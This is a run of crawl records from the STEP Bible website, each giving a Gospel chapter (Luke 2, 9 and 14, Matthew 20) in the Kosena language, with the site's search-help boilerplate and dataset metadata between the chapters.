tiꞋmarówasa aivaꞋá Sámériyaa-kwaasiti naaópaꞋa kuwasá 53 Ísu Yérúsaremu-naopaꞋa kwíníye-aimba isésa tirunkó sáwíꞋa úwasa íma naambá tímúwasarai 54 kwená kwayó-kwáásívínkémbá kae-kwáásíráí Yémésiye Yóniye mináímbá isésarai sésarai Ísóigo Áánútu kwíyómpakemba iramá tuwáínana kuména minkwáásí kavúkoro-aimbo kwésuyamba kwéankaiyo suyaná 55 Ísu mégwantena asiramái séna íma mirá sekaiyó súwasa 56 mindáópaꞋa tuwésa óꞋon-daopaꞋa kuráawe.\nÍsun-ánaaemba kwaránáe siráan-kwasai.57 aampaꞋá kwéguwana moóráwai Ísuntavena séna amápaꞋ-naopaꞋo nááíndavaꞋa esé naaónaumne súwana 58 Ísu minkwáásígómbá áísaa umai isánáe séna kwaankó taaiyaivimbá kwégwaisana numaómá ánáamba úmarena kwégwaivo kemá kwaási úrandaꞋa kumpaáruraundawai íma naambá úmareꞋa kwégaumne séna 59 minkákémbá moóráwaintavena séna kesínaaemba kwaꞋmaé kwíníyone súwana anóndakoo máyáanana kesivo puwínaꞋa utamánkeꞋa enánaaemba kwaránaumne súwana 60 Ísu séna ímanivo kesáái ímo isésamo pukáan-kwaasiraamba owáímá puwíyan-kwaasi utamátinkanaaovo emá Áánútumo kwená kwaásimo kwégawaain-aimba simátímaꞋmae kwíníyone súwana 61 moóráwai Ísuntavena séna anóndakoo enánaaemba kwaránaunda póꞋa aivaꞋá kesimááraa siyáámba tímatuweꞋa naaémba enánaaemba tágwaranaunda kanaawáꞋiyo súwana 62 Ísu séna Áánútuna mayáímó ááimbo ásámaimo kwémaesamo ivátuwesamo óꞋon-imayaamo owáí Áánútu kwená kwaási kwégawaaipaꞋa íma kanaán-umai mayáí mayánááowe Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.9","date":"2018-04-23T03:56:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945724.44\/warc\/CC-MAIN-20180423031429-20180423051429-00040.warc.gz","language":"kze","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000064373016357}","num_words":1242,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.181,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 20\nándá-aran-kigauvaꞋ-mayai-kwaasiti kwaasái.1 Ísu mináímbá simásuwena séna Áánútu kwená kwaásimo kawááin-aimba maarán-áímbán-iye. moóráwai ándá-aran-kigaugo avowámá kesí mayáí mayáígwáe séna ááéma usásinkena kwaási tivakáá-umai tuwánéna 2 séna kesí mayáí kwémaewaꞋa moórá-tawai-mayaigona óntamba tíméno sisasá owé sewaná tíꞋmaena kwená ándá-aran-kigauvaꞋa móitinkaisasa mayáí kwémayaawana 3 usá aaváyaavimba ókwaraꞋa mayáí mayáígwáe séna mayáímó mayánáe sésamo torupamáímo máyáapaꞋa kwéna tuwánéna 4 séna kesí mayáí kwémaewaꞋa arupí-meyamba tíméno sisasá 5 owé sésa mimbáyáí kwémayaawana kwáyáꞋwái mirán-umai ókwaraꞋa kwétirena eénáínkaꞋa ókwaraꞋa kwétirena 6 mayáí ánásanaaon-kanaa sáwíyankaꞋa kwétisana mayáímó mayánáe sésamo torupamáímo máyáapaꞋa kwéna évakarawai tuwánéna séna nóra éra úwoi máyáao sisasá 7 sésa íma moórá-kwaasigo kesí mayáí máyáaro siráawata máyaumne sewaná tiréꞋa kesí ándá-aran-kigauvaꞋa mayáí máyáaro sisasá mirá uráawe.\n8 mirá owaná eénáínkaꞋa kígaugo avowámá mayáí-kwáásíráꞋó kárákwiraiwaintavena séna mayáí-kwáásí tááyare miwítí meéyámbá timé naaémbo tiráawai aivaꞋá timé aivaꞋó tiráawai naaémba timiyó sisaná 9 iséna mirá éna mayáí ánásainiye kwéinkaꞋa tiráawai moórá-tawai-mayaigona óntamba tiména miráumai tímatuwena 10 ááéma aaváyaavimba tiráawaiti meéyámbá timénáe kwéisasa miwí imáyáa ésa kentáásí meéyámbá anómban-iye kwésewana moórá-tawai-mayaigona óntamba tímísasa 11 maimaésa kígaugo avowámá íꞋái simánkáawana 12 miwívínkémbá moóráwai séna naaémba tiráan-kwaasi sáwíyam-bayai mairáavo kesáá aivaꞋá tiráundawaiya anón-aꞋa kwégaisata umisi-árááꞋá méta anóm-bayai mairáundaya mimbóráíꞋa umáíya meéyámbá símakaandaya nóra séwa kentáámó siméndantem-beyamba miwí tímakaano sisaná 13 kígaugo avowámá séna kesí kwaásiyo kemá séꞋa kesí mayáí kwémaewaꞋa moórá-tawai-mayaigona óntamba tíméno súnaꞋa owé séꞋa mayáí mairáawaꞋa mindáyaveꞋa íma sáwí-meyamba kwétimumpo 14 kentí meéyámbá maimaéꞋa koró. keinárawaꞋo timúndantem-beyamba naaémbo tiráawai mirám-béyámbá timénáeꞋa kwéune. 15 kesí óntambo taaímbareꞋo kwétimunda mindá kendéímán-iye. sáwíyam-bayai mairáawai anón-ontamba kwétimunaꞋa ímo kayórááraamba kwégayoraawe kígaugo avowámá siráiye Ísu siráiye.\n16 Ísu mináímbá simásuwena séna miráráán-umai Áánútu kwená kwaásimo kawááipaꞋa aivaꞋá kwégowai íyasa naaémbo kwégowaise mimbóráíꞋa umái aasiyaasí aúnáiꞋa umái maíꞋmaiꞋa ónááowe Ísu siráiye.\nÍsu kwemó puwíníntavena siráin-kwasai.17 Ísu séna Yérúsaremu-naopaꞋa kónáe séna aampaꞋá kwégwena kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasi tíꞋmaena moórá-ayampaꞋa tínkarena 18 simátimena séna maísáaro. Yérúsaremu-naopaꞋa konanayá moóráwai kembá kwaási úrandakomba mono-káwáá-kwáásíyé ámáámba sen-kwáásíyé agaráátinkainasa kembó sínkami-aimba simái tarúmaresa 19 síꞋmai óꞋonkaa-kwaasi timíyasa kanaárááꞋa kwésinkesa súwírukuꞋa nésa taairaꞋá sínkamiyaꞋa púwónasa utamásinkaiyaꞋa kaumbo-táwai maisuwéꞋa usásinanaumne Ísu siráiye.\nkaeꞋnárai tinówama Ísumba áísaa uráin-kwasai.20 minkánáá Sépéti ááninkai tinówama tíꞋmaena ÍsunopaꞋa téna moórá-yantaatavena áísaa íníntavena anóndakoman-iye séna takívairowana 21 Ísu séna nóintavaiya sísaa íníyewa kwéono súwana tinówa séna emó kawááindavaꞋa kesááninkai usásintinke évarevar-akwampaꞋa tinkáníyone súwana 22 Ísu séna sénda-ainkona ááimba íma ísaraiye. sáwí-nombo anavéúmpinkembo náúndanten-umai síꞋa índaiꞋa umásinkanaaomba keinárai kanaarárá kemó náúnda-anaveumpinkemba náyááoiyo súwasarai keiráí kanaám-pókai náyauye suyaná 23 Ísu séna áraiꞋa séye. kemó náúnda-anaveumpinkemba náyááoivo kesí évareva-sukwampaꞋa kemá íma usásintinkanaumpo Áánútu kaeꞋnárai umátinkaraimba póna usásintinkaniye súwasa 24 Ísuna kwayó-kwáásí siyáánkainarawaꞋa mináímbá isésa mináváráwai áwááꞋa tíyúwana 25 Ísu tááyowasa tuwaná séna áꞋa ísaraawe. marapár-ánón-kwáásíyómbá usáyaaitamai asirayán-áímbá simáti-simati kwéuwasa kwenkóyai kwentáyaiꞋa uráawe. 26 anón-kwaasimo ontembá keinárawaꞋa íma mirá oró. keinárawapinkemba usáyaaitanae síyawai óꞋowiti kwayóꞋá maránááowe. 27 keinárawapinkemba aivaríꞋa ónáe síyawai amáparawaiti mayáímá túwaꞋnaa oro. 28 kemá kwaási úrandako kumpaáruraundawai íma súwaꞋnaa ígwáeꞋa kunkáumpo kemá kwaási túwaꞋnaa ónáeꞋa kunkáumne. sáwí-imayaavinkemba iyátinkanaundayaveꞋa puwónaumne Ísu siráiye.\nÍsu túramba kavíkóndarai kaweꞋá umátínkarain-kwasai.29 Ísuwe kwená kwayó-kwáásíyé Yéríko-naopakemba kumbá sáwíva-kwaasi tínaaemba kumbá 30 kaeꞋnárai túramba kavíkóndarai aanéivaꞋa mésarai Ísu kwétiye-aimba isésarai anónkaꞋa sésarai Tévítin-andarakewai ómpo arunkáí umásinkaao suyasá 31 misáwívá-kwáásí áwááꞋa tiyésa sésa aaí séyavo suwasaráí mináímbá ivátuwesarai óꞋomba anónkaꞋa sésarai anóndakoo Tévítin-andarakewai ómpo arunkáí umásinkaao kwésuyana 32 Ísu aampaꞋó kúmba minká koména tísaa ena séna nóin-tantaara tirááímo táínda-yantaaꞋa umátinkanaumno súwasarai 33 anóndakoo súramba kaweꞋá umásinkaao suyaná 34 Ísu arumbá umátinkena ayáámba túrankaꞋa tátorowasarai avekáámbá túramba kaweꞋá umái awánésarai Ísu ánaaemba kwaꞋmái kurááiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.20","date":"2018-04-24T10:44:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946597.90\/warc\/CC-MAIN-20180424100356-20180424120356-00017.warc.gz","language":"kze","language_score":0.9999872446,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999872446060181}","num_words":690,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 14\nÍsu aíyayaamba intorón-kwaasi asóvamankarain-kwasai.1 moórá-tawai agándon-kanaaraꞋa Ísu ámáán-kawaa-kwaasi anón-kwaasigona naaúmpaꞋa toómbá náíndayavena umáyowasa agándai-kanaaraꞋo Ísumo nóramo índa awánanae sésa umésa awánowana 2 moóráwai aíyayaamba kwéintoron-kwaasigo kwená egwaaꞋá máyowana 3 Ísu minkwáásígómbá awánéna ámáán-kawaa-kwaasigo ámáámba sun-kwáásíyé tísaa ena séna agándaan-kanaaraꞋa kanaarárá áíꞋo in-kwáásí asóvamankanaundayaꞋiyo súwasa 4 isésa íma aaí suwaná minkwáásígómbá áíꞋmai kaweꞋá umánkena séna ánivo kuwó súwana kóúwana 5 tísaa ena séna keinárawapinkemba kentí iyámpóíyaꞋi. kentí pórááraꞋiyo. maipímbó pékainaꞋo éꞋa agándai-kanaaraꞋa ááéma mósá asinánááoo Ísu súwasa 6 mináímbá íma kanaán-umai anondá siráawe.\nkwaási íma kentúma maimaé iyí-kwásáí.7 aaí íma anondá suwasá toómbó nánáesamo tun-kwáásí aivaꞋá uménaemo sumbá Ísu tuwánéna kwántámai-aimba séna 8 moóráwai séna aaraimó tokwaa on-tánómbá tamandaaó sína íma aivaꞋá umaiyó. aivaꞋó uménanamo enáwíꞋo usáyaaitaraindawaimo tínanamo éna 9 tááyaindawai entávéna séna usásinenana maankwáásígó maankáꞋá tamaíno sínana aigaemá umásuwe tínaaempaꞋa kumbéniyone. 10 ánivo tááyainamo tínaaempaꞋo uménanamo tááyainda-kwaasigomo kweyááríkaꞋo entávénamo séna kesí kwaásiyo usásine aivaꞋá umaiyó sínamo umáínasa awánésa enáwíꞋa mósá maránááowe. 11 anón-kwaasima úne síyawaima Áánútu miwí túwíꞋa móruna tiyuwánívo sáwíyan-kwaasima úne síyawaima Áánútu miwí túwíꞋa maimaé iyíníye Ísu siráiye.\n12 Ísu simásuwena ááyarowaiyavena séna anón-tanomba kauvónáe sinda-táwai óísankwara-kwaasiye enamááraawe ená akúné ená kwaásiye suꞋmai íma tááyao. mirámó inasamó ésa naaémba ááyewa toómbá komandáníyonda mindá ená toónkóná anondáman-iye. 13 ánivo anón-tanomba kauvónáe sinda-táwai ímo óísambo makén-kwaasiye tíyayaamba sáwíꞋa urén-kwaasiye aúgavitan-kwaasiye tááyenasa tamandánááombanivo 14 ená toónkóná anondáma íma amíyambanivo enarunkó kaweꞋá ínana Áánútu ená toónkóná anondáma amíníye. naaémba arupí umái mén-kwaasi pukémpinkemba usásinaiya-tawai Áánútu amíníye Ísu siráiye.\nanón-tanomba kauráin-kwasai.15 mináímbá súwasa Ísuwe toómbá kwénowai isésa uwaná moóráwai séna Áánútu kwená kwaási kawááipaꞋa toómbá nánááowai tirunkó aamoí íníye súwana 16 Ísu séna áraiꞋa simbánivo simátíménda imáyáa oró. moóráwai anón-tanomba kauvónáe séna sáwíva-kwaasi tááyamakena máyáísana 17 mintánómbó nánááon-kanaa sáwíyankaꞋa tínana kwená mayáí-kwáásígómbá aiꞋmáráísana tááyaraiwaiyavena séna toómbó naí kwétoꞋmayaan-ivo teró sisasá 18 miwí íma tií-áímbá sewaná moóráwai séna maramá meéyán-ureꞋa koawánanaumpo íma tanómba kauvópaꞋa kónaumne siyé kosimámiyo sisaná 19 moóráwai séna siyáánkai-poima meéyán-ureꞋa koawánanaumpo íma tanómba kauvópaꞋa kónaumne siyé kosimámiyo sisaná 20 moóráwai séna ívéꞋa aaraí mairáunda póꞋa tanómba kauvópaꞋa íma kónaumne siyé kosimámiyo sisaná 21 mimbáyáí-kwáásígó kwená anóndakonopaꞋa téna mirá sewé tasimámísana arunkó sáwíꞋa isaná séna avekáámbá naaóꞋ-naoꞋa kwénaae tíyayaamba sáwíꞋa uráinda-kwaasiye túramba kavíkáinda-kwaasiye óísamba íma makén-kwaasiye tivakáá-umai tíꞋmae tiyó séna aiꞋmáráísana 22 mimbáyáí-kwáásígó mirá kosimái koyauweréna taséna simásimendantemba kosimái tíꞋmaeꞋa túnda ená naaúmpaꞋa paaí karekóꞋa umái máyáawe sisaná 23 kwená anóndako séna amápa-kwaasi kesí naaúmpata sisipáá oró. amápar-ampaꞋa kwénaae kwaásimo tivakáá-e asiramái simái tíꞋmae tiyó siráiye. 24 Ísu séna simátimeꞋa séꞋa aivaꞋó tááyaraiwai íma tésa kwená toómbá íma tamandánááowe Ísu mináímbá kwántámai-aimba siráiye.\nimáyáa kaweꞋá urésa Ísu-ánaaemba kwaránááon-kwasai.25 súwasa Ísuwe aampaꞋá kuwaná mégwantena simátimena séna 26 kesínaaemba kwaránáe síyawai aivaꞋá kembá imáyáa simésa naaémba anóvowiye awainínkówé kwená iyámpóíye kwenávárawaawe kwenáúnavare kwesáváíyé imáyáa oró. ímo mirámó íyamba uwóvíꞋa ónááovo mirámó ésamo ésa kesínaaemba kwarésa kesí kwayó-kwáásí-íꞋa ónááowe. 27 kemó puwónaunda-taimo súgwaataꞋmaeꞋo kondantembá kesínaaemba kwaránááowaima umbai-yántááꞋá timíyasa minúmbáí-yántááꞋó ímo maimaésamo sínaaembo kwáráamba uwóvíꞋa ombá pósa íma kesí kwayó-kwáásí-íꞋa ónááowe. 28 moórá-aimba ísáaro. ayáátááꞋ-namba ónáe síyawai aivaꞋá óntambo tuwésamo ónááon-imayaa ésa óntamba táámpamai awánáíyambo kanaamó ínasamo ésa mináyáátááꞋ-námbá ónááowe. 29 ímo táápamaimo awánaresamo mindámbó íyamba minóntámbá ánásagwinana mindámbá úwoi kwáyainasa kwaási awánésa íma áságwimai umásukaawe sésa tuwírááima sénááowe. 31 moórá-aimba ísáaro. moórá ááiꞋa tiyáívín-ánón-kwáásígó ááiꞋa tiyánáe séna aivaꞋá kwená i-kwáásí táámpainda sáwíva-kwaasi 10,000 kwaasi ínana óꞋon-i-kwaasiti anóndako kwená i-kwáásí táámpainda ávááraumai sáwíva-kwaasi 20,000 kwaasi ínana imáyáa éna kembá usáyaaitanaao. íya usáyaaitanaaoo séna 32 íma kanaán-umai usáyaaitanaumne-imayaamo énamo éna anón-kwaasi némpaꞋa máyainana aantá-kwaasi tiꞋmaréna séna íma ááiꞋa tiyánaundayaanivo úwoiya ménaum. nóraya ónaumno siyé kosimáméro síníye. 33 Ísu mináímbá simásuwena séna aivaꞋá ónááon-imayaa urésa naaémba síyantemba ónááowe. miráumai kesínaaemba kwaránáe síyawai aivaꞋá makáan-tantaatavesa imáyáa urésa íma mintántááꞋá tuwánaumnemo sésamo ésa kesínaaemba íma kwaránááovo mintántááꞋá tuwánaumnemo sésamo ésa kesínaaemba kwarésa kesí kwayó-kwáásí-íꞋa ónááowe Ísu siráiye.\nuwígóná kwaasái.34 Ísu simásuwena séna uwímá kawe-tántááꞋá imbánivo anómba ánásaisana ayáántámba kwáyáimbanivo óꞋa uwímó káíꞋa íma úmaranaaowe. 35 ayáántámba íma agámoꞋa maráíyana kaweꞋá ínívo úwoivaꞋa tuwánááowe. kwéisaawai ísámai kaweꞋá oró Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.14","date":"2018-04-24T11:00:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946597.90\/warc\/CC-MAIN-20180424100356-20180424120356-00020.warc.gz","language":"kze","language_score":0.9999827147,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999827146530151}","num_words":772,"character_repetition_ratio":0.045,"word_repetition_ratio":0.005,"special_characters_ratio":0.161,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 2\nMáríyaa Ísumba maránkarain-kwasai.1 minkánáávímbá Árómáani-kamaani-anondako áwíꞋa Ógásitasi kwemá simátimena séna amápaꞋ-marava-kwaasi túwíꞋa agayánááowe siráiye. 2 aivaꞋá túwíꞋo agayón-kanaavimba Sáíriniyasi Síriyaa-kwaasiti kawáánákó máyón-kanaavimba 3 namupaꞋó maivá kuráawai koyauwerésa kentí akúmbó máyópaꞋa túwíꞋa agayáíyantavesa tiráawe. 4 Yósépi Tévítin-andaraken-kwaasi póna Káríri-maravaꞋa Násáreti-naopaꞋa tuwéna Yútiyaa-maravaꞋa Tévítina naaópaꞋa téna mindáó-kwiꞋa PétáremuvaꞋa túwana 5 awainínkó-árásígó Máríyaa ámúkwariꞋa úwana áwíꞋa mayáíndayavena áíꞋmaena túwana 6 mindáópaꞋa ména iyámpóímo ankáí-kánáá túwana 7 aivar-íyámpóí marankéna iyámpóígona unáánkwátói úsúrena purumakankóná táávepimba ánkaraiye. túwíꞋa kwéagayowasa sáwíva-kwaasi kwirómpimba kwaásimo kwááyumo kwáén-daumpaꞋa íma ména purumakankóná naaúmpaꞋa ména maránkaraiye.\nsipisípiraꞋo tavíkówai simátímakain-kwasai.8 mimbápáꞋá sipisípiraꞋo tavíkówai noꞋwáámba uváꞋá kwégawaa-esa máyówana 9 Ísóigo kwená kwayóꞋnáꞋá kwíyómpakemba aiꞋmarówana sipisípiraꞋo tavíkówaitopaꞋa paárúwana Áánútuna ságayamba tuwówana kumúwasa awánésa ávááraumai táátavesa uwaná 10 kwíyómpakewai séna íma tááꞋa kaíno. áséi-kwasai kusimátimunda pósa sáwíva-kwaasi kwéisesa ávááraumai aamoí umánkanaaowe. 11 ívéꞋa Tévítina naaópaꞋa iyámpói maránkáísana miníyámpóígóntávésa Áánútu usásinankaiwai Ísóigoman-iye sénááowe. miníyámpóígó keináraware óꞋon-kwaasiye sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkaniye. 12 miníyámpóímá ampantanéí úsúmai purumakankóná táávepimba máráísaꞋa koawánéꞋa séꞋa simásímakain-aimba árair-aimba kentáá kawer-ámpáꞋá mésinkaniwaimba maránkaraiye sénááowe súwasa 13 avekáámbá kwíyómpakendarawaꞋa sáwívaꞋa paárésa Áánútu áwíꞋa mósá marésa sésa 14 kwíyómpaꞋa Áánútu áwíꞋa mósá maráúmne. marapáꞋá Áánútu aamoí umátínkáin-kwaasi paru umái máyáawe siráawe.\nsipisípiraꞋo tavíkówai Ísumba koawánaraan-kwasai.15 kwíyómpakendarawaꞋa kwíyómpaꞋa kuntauwerésa íyúwasa sipisípiraꞋo tavíkówai sésa Ísóigo simásímakain-kwasaiyaveta PétáremuvaꞋa koawánanaisaiye sésa 16 avekáán-umai kumbá Máríyaae Yósépiye mésarai purumakankóná táávepimba Ísumba ánkaroyamba taawánésa 17 kwíyómpakewai sirón-kwasai miníyámpóígóná kwaasái tasimátimesa 18 koyauwerésa simásímakain-ainta árair-aine sésa ísaron-aintavesa koawánontavesa Áánútu áwíꞋa mósá makáawe. sipisípiraꞋo tavíkówai simátimun-aimba ísówai imáyáa uwaná Máríyaa mináímbá áákar-aakaꞋa éna imáyáa uráiye.\nÍsu áwíꞋa tamámakain-kwasai.21 iyámpói ánkáyuwena avakaumboé-noꞋwaamba kwaúwasa miníyámpóígó áúraꞋa kárámai araaꞋéna uwaná áwíꞋa tamánkena anówamo ímo ámúkwariꞋo urónkaꞋa kwíyómpakewai sirón-kwiꞋa tamánkena Ísuwe siráiye.\nSímiyoniye Ánaae Ísumba awánaraayan-kwasai.22 naaóváꞋá Mósesi aaraimó iyámpóímo tinkésa nombó pétuwesa miwítí naaópaꞋo iyónááon-aimbo siráin-kanaa túwasarai Yósépi Máríyaae Ísumba áíꞋmesarai Ísóigombo amíyanesarai Yérúsaremu-naopaꞋa kurááiye. 23 Ísóigona ámáámba Mósesi agaimaréna séna Ísóigo séna kentí iyámpói aivaꞋá inaamai-íyámpóíyómbá tíꞋmaeꞋa kesópaꞋa mátinkeꞋa ená iyámpóíye sénááowe Ísóigo siráiye Mósesi agaimaréna siráiye. 24 moórávaꞋa Ísóigona ámáámba agaimaréna séna Áánútuntavekai ísámai máái-numa kaeꞋá vamái agáyáákaiyo. ímo mááimo makékai mááiraan-dumago árááꞋa kaeꞋá maimái agáyáákaiyo siráiye. mináímbá mirá óyááoiyantavesarai Ísumba áíꞋmesarai Yérúsaremu-naopaꞋa kurááiye.\n25 kuyaná moóráwai áwíꞋa Símiyoni kwemá YérúsaremuvaꞋa ména kawe-kwáásí póna Áánútun-aaiyavena asiramái ména Ísareri-kwaasi kaweꞋá umátinkaniwaimba amuꞋmaréna máyowana Áánútun-amanko kwesé ména 26 ááéma simámena séna íma ááéma puwíníyompo Ísóigomo usásinankaiwaimba awáné puwíníyone simámakaimba 27 Áánútun-amanko imáyáa amúwana anóm-bonoꞋ-naumpaꞋa umáyowasarai Ísu anóvowi ámáámba mirá siróntavesarai Ísumba áíꞋmaesarai anóm-bonoꞋ-naumpaꞋa íyúyana 28 Símiyoni miníyámpóí tapéna Áánútuntavena súwi simásuwena séna 29 Ísóigoo simásímakaanda-aimba ívéꞋa paárisana sirunkó kaweꞋá kwéimba póꞋa úwoi puwónaumne. 30 amápa-kwaasiyavai ísámai kawer-ámpáꞋó métinkaniwaimba usásinankaanaꞋa áꞋa kwéawanaumne. 32 óꞋonkaa-kwaasi sáma kamátinkena kawer-ámbá agaráátinkainana póna Ísareri-kwaasi súwíta iyíníye Símiyoni siráiye.\n33 Símiyoni miníyámpóígóntávéna súwasarai anóvowi isésarai anón-imayaa uyaná 34 Símiyoni séna Áánútu kaweꞋá umátinkaniye simásuwena miníyámpóígó anówantavena séna Áánútu maaníyámpóí usásinankaiye. kwentávésa Ísareri-kwaasi évakarawai Áánútuntavesa kaweꞋá umái méwasa évakarawai tínaaemba umámenaaowe. Áánútu kwembá awaamékáámbá umánkáísasa sáwí-aimbo simánkanaaowaiti 35 sáwí-imayaa amápa-kwaasi túrankaꞋa paáriniye. ááigwara-tantaako airáráísanamo áíꞋo intenkáámbá umbai-yántááꞋá enarumpimbá tíníye Símiyoni Máríyaantavena siráiye.\n36 moórá-ininko áwíꞋa Ánaa kwemá Áánútun-aai simátímakon-ininko ména Ásan-andaraken-inimba Vániyueri ayáámúnko póna kwaaí mairéna avakaeté-ima maisuwówana awaikó puwúwana ayáátáákaꞋa 84 ima maisuwéna áráankamba kéna aasiyaasi-táwai anóm-bonoꞋ-naumpaꞋa uména enónkaꞋa aaváyaavimba noꞋwáámba Áánútu áwíꞋa mósá kwémarena námúnaawe suꞋmai síndayavena íma toómbá kwénena 38 Símiyoni kwésun-tawai kwegwáráꞋá egwaaꞋá taména Áánútuntavena súwi séna miníyámpóígón-áái simátimena Áánútu Yérúsaremuvaken-kwaasi sáwí-imayaao tátokaimpinkemba iyásinkaindavenaya sirániwaimba kwéamuꞋmaraundawaintavena miníyámpóígón-áái simátímakaiye.\nYósépiye Máríyaae Násáreti-naopaꞋa kurááyan-kwasai.39 Yósépiye Máríyaae Ísóigo siráin-amaamba ánásamasuwesarai Káríri-maravaꞋa mindáraiti naaópaꞋa Násáreti-naopaꞋa komáyóyana 40 mindáraiti iyámpóígo anón-umagwena asiramái ména kawer-ímáyáá kwéuwana Áánútu kaweꞋá kwéumankowana méraiye.\nÍsu iyámpói maúnkaꞋa anóm-bonoꞋ-naumpaꞋa iráin-kwasai.41 naaóváꞋá Áánútu Yútaa-kwaasi tíyótaasa í-tánón-kánáá túntemba Ísu anóvowi Yérúsaremu-naopaꞋa kóyo urááiye. 42 Ísu sísamaivakemba kaeꞋá kumbaimái-ima maisukónkaꞋa kóyo uyambá pósarai mintánómbá nayááoiyantavesarai Ísumba áíꞋmaesarai YérúsaremuvaꞋa komáyóyana 43 mintánón-kánáá ánásowasa miwítí naaópaꞋa kóyáwé uwaná Ísu YérúsaremuvaꞋa máyowasarai anóvowi íma awánésarai 44 imáyáa ésarai kwenamááraewa aampaꞋá kwégwiyo-imayaa ésarai aampaꞋá kwégwesarai enónkaꞋa kwétoyo uwasaráí mindárai miwítí naaóraavimba timááraavimba tíndawe sésarai avakáá uyambá 45 íma awánésarai avakáá uwááesarai óꞋa tayauwerésarai YérúsaremuvaꞋa koavakáá úmaesarai kuyambá 46 kaumbo-táwai ánásowana anóm-bonoꞋ-naumpaꞋa máyowasarai anóvowi awánaraaiye. Yútaa-kwaasi aaimó simátímún-kwaasiti avumpimbá Ísu ména miwí táái kwéisena mináíntávéna tísaa úwasa 47 anondá kwembá áísaa uwaná kwená kawer-ímáyáávínkémbá simátimuwasa isésa táátavai uwasaráí 48 anóvowi taawánésarai táátavai ésarai tiyáámba tuvimpínésarai anówama séna kesááninkoo enavowé kesé avakáá úmaekai kwénaauyana sirunkó umbaí kwétaivo nóra éwa mirá kwéono súwana 49 Ísu séna nóra ékai sivakáá kwéoyo. kesivoná naaúmpaꞋa máyaumpo nóra ékai íma ísaraaiyo súwasarai 50 mináínkóná ááimba íma kaweꞋá umái ísaraaiye.\n51 íma ísóyana Ísu anóvowiye Yérúsaremuvakemba Násáreti-naopaꞋa téna miwí tááiyavena kató úmae kwéiyena tamáyowana anówama Ísumo uráimba imáyáa umái máyowana 52 Ísu anón-umagwena kawer-ímáyáá kwéuwasa Áánútugwara kwaásigwaraꞋa aamoí umánkaraawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example 